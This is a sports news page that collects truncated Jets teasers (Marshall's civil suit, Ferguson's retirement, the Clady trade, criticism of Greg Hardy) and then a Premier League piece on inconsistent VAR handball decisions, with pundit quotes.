Jets star Brandon Marshall wins civil assault suit

Mark Lennihan/AP Brandon Marshall left the courthouse once the case went to the jury and did not return, so he was not in the room when the verdict was read. Jets wide receiver Brandon Marshall won the civil suit levied against him by a California woman in Manhattan federal court for assault and battery on Friday. Christin Myles, who accused Marshall of punching her in the face outside the Marquee nightclub on Mar. 11, 2012, sought at least $75,000 in damages for her medical expenses and her pain and suffering. The jury deliberated for just over an hour before

Myers: Ferguson leaving money, saving health in retirement

Maddie Meyer/Getty Images While he spoke candidly about concussions in December, D’Brickashaw Ferguson was never diagnosed with one in his 10-year career. D’Brickashaw Ferguson is 32 years old and played 10 years in the NFL and the only snap he missed in his career came on a trick play. So, he is not part of the epidemic of young players in the last two years who are getting out of the NFL early rather than risk brain injury, even though it’s before they max out on their earnings potential. Ferguson made $67 million with the Jets and never was

Jets trade for Broncos' Ryan Clady to replace D’Brickashaw

Kathy Willens/AP Broncos offensive lineman Ryan Clady blocks for Knowshon Moreno. That was fast. On the same day D’Brickashaw Ferguson made his retirement official, the Jets traded for his replacement, dealing for former Broncos tackle Ryan Clady, according to a source. Gang Green is giving up a 2016 fifth-round pick in exchange for the tackle and will also receive a 2016 seventh-rounder, according to a source. Those are the same terms the Jets struck with the Bears a year ago in a deal for wide receiver Brandon Marshall. Clady, a four-time Pro Bowler, started 16 games in 2014 for

Advocate blasts Greg Hardy’s clueless, harmful stance

Ric Tapia/AP Greg Hardy denies ever assaulting women in an interview he did with ESPN’s Adam Schefter. Domestic violence experts responded with dismay Tuesday to disgraced football star Greg Hardy’s claim in an ESPN interview that violence against women is “nonexistent in most southern homes.” “Domestic violence does not discriminate, it impacts every race, geographic region, educational background,” Katie Ray-Jones, the CEO of the National Domestic Violence Hotline, tells the Daily News. “It knows no boundaries. It’s a reg resilient issue that people don’t talk about.” Hardy, who was suspended four games last season over evidence that he battered

‘Astonishing’ handball decisions – what happened & do you agree?

Fulham appeal for handball after Gianluca Scamacca's goal for West Ham

VAR was once again a talking point this weekend with a number of debatable decisions surrounding the handball rule.

The Match of the Day 2 team described some of them as “astonishing”, with seemingly similar incidents resulting in differing outcomes.

However did the officials get the calls right?

Here is what happened – and you can vote on whether you think the referees made the right call.

What is the handball rule?

Let’s start with the rules. When deciding a handball decision referees have three key considerations:

  • Whether it is a “deliberate action” by the player – i.e. have they moved their arm towards the ball;
  • If the the hand or arm is in “a natural position”, – i.e. away from the body;
  • The proximity of the player from the ball and the speed it hits them on the arm/hand.

For accidental handball in the build-up to a goal:

  • If one player accidentally handles the ball and a team-mate scores, the goal is given;
  • However, if a player accidentally handles the ball themselves and goes on to score, the goal will not stand.

Gabriel and Dan Burn

Handball incidents involving Dan Burn and Gabriel

Newcastle’s Dan Burn concedes a penalty when he blocks Aaron Hickey’s header with his arm from close range. Arsenal defender Gabriel is involved in a similar incident 24 hours later when he blocks Diogo Jota’s cross, but no penalty is given after a VAR check.

MOTD2 presenter Mark Chapman: The PGMOL say for handball it is all about “proximity and speed”.

Danny Murphy: “That’s what is making fans angry. How can one be given and Liverpool’s not be given? And that’s a fair argument. We are all after consistency. How can they be two different decisions?”

Marcus Rashford’s goal against Everton is disallowed following a VAR check as the ball struck the Manchester United striker’s arm as he blocked James Tarkowski’s clearance in the build-up.

MOTD 2 commentator Guy Mowbray: “There was nothing Marcus Rashford could do about that, it’s entirely accidental. But if the player who scores, scores after the ball has touched any part of his arm then it is not going to stand.”
